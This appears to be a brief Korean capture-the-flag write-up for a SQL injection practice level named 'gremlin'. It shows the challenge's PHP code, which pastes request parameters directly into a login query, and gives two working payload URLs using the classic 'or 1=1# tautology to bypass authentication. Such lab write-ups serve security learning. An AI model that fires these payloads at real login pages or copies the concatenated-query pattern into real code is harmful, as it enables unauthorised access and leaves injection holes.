Write-Up
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 사용자의 입력을 그대로 반영하여, query를 그대로 실행한다. SQLi에 취약하며, payload는 아래와 같다.
/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=1&pw=1%27or%201=1%23
/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=1%27or%201=1%23
